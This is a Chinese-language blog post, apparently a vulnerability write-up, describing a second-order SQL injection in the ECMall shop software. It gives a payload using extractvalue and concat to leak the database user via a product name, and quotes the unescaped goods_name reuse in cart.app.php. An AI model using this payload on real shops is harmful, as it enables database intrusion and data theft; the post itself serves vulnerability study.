Ecmall某處SQL二次注入第一彈

2021-12-30 05:29:54 字數 1755 閱讀 5392

20140618做了些過濾但是還是能勉強繞過

首先註冊乙個會員 然後發布以上商品

然後轉義入庫 入庫後轉義符消失

商品名稱 商品分類 品牌 ** 庫存 上架 推薦 禁售 操作

全選***'and extractvalue(1,concat(0x5c,(user()))),1,1,1,1)# 10.00 100 [可編輯] [可編輯] 編輯 | 刪除

發布乙個如上的商品

然後找找出庫的地方

在app/cart.app.php中

function add()

/* 是否有商品 */

$spec_model =& m('goodsspec');

$spec_info = $spec_model->get(array(

'conditions' => $spec_id,

'join' => 'belongs_to_goods',

));if (!$spec_info)

/* 如果是自己店鋪的商品,則不能購買 */

if ($this->visitor->get('manage_store'))

}/* 是否新增過 */

$model_cart =& m('cart');

$item_info = $model_cart->get("spec_id= and session_id='" . sess_id . "'");

if (!empty($item_info))

if ($quantity > $spec_info['stock'])

$spec_1 = $spec_info['spec_name_1'] ? $spec_info['spec_name_1'] . ':' . $spec_info['spec_1'] : $spec_info['spec_1'];

$spec_2 = $spec_info['spec_name_2'] ? $spec_info['spec_name_2'] . ':' . $spec_info['spec_2'] : $spec_info['spec_2'];

$specification = $spec_1 . ' ' . $spec_2;

/* 將商品加入購物車 */

$cart_item = array(

'user_id' => $this->visitor->get('user_id'),

'session_id' => sess_id,

'store_id' => $spec_info['store_id'],

'spec_id' => $spec_id,

'goods_id' => $spec_info['goods_id'],

'goods_name' => $spec_info['goods_name'],

'specification' => trim($specification),

'price' => $spec_info['price'],

'quantity' => $quantity,

'goods_image' => $spec_info['default_image'],

這裡出庫後 goods_name沒轉義。

造成了二次注入。

直接出資料

addslashes

SQL二次注入

一 是什麼?何為二次注入?為了預防sql注入攻擊,而將輸入到應用程式中的某些資料進行了 轉義 escape 但是這些資料卻又在 未被轉義 unescaped 的查詢窗體中重複使用。簡單地說,二次注入和普通注入一樣是乙個程式漏洞,它發生在使用者提交的值被儲存在資料庫中,然後這個值被應用程式中的某些其他...

sql 注入 白帽子 SQL注入之二次注入

原理 使用者向資料庫裡存入惡意的資料,在資料被插入到資料庫之前,肯定會對資料庫進行轉義處理,但使用者輸入的資料的內容肯定是一點摸樣也不會變的存進資料庫裡,而一般都預設為資料庫裡的資訊都是安全的,查詢的時候不會進行處理,所以當使用者的惡意資料被web程式呼叫的時候就有可能出發sql注入。二次注入比普通...

記一次sql二次注入

簡單的說,二次注入是指已儲存 資料庫 檔案 的使用者輸入被讀取後再次進入到 sql 查詢語句中導致的注入。相比於直接注入,二次注入是比較有趣的。因為他會把你第一次的請求儲存,然後在第二次使用到的時候,才會啟用並且返回結果。例如在某個插入功能中,我們插入構造的sql語句,此時並沒有什麼現象,但是當瀏覽...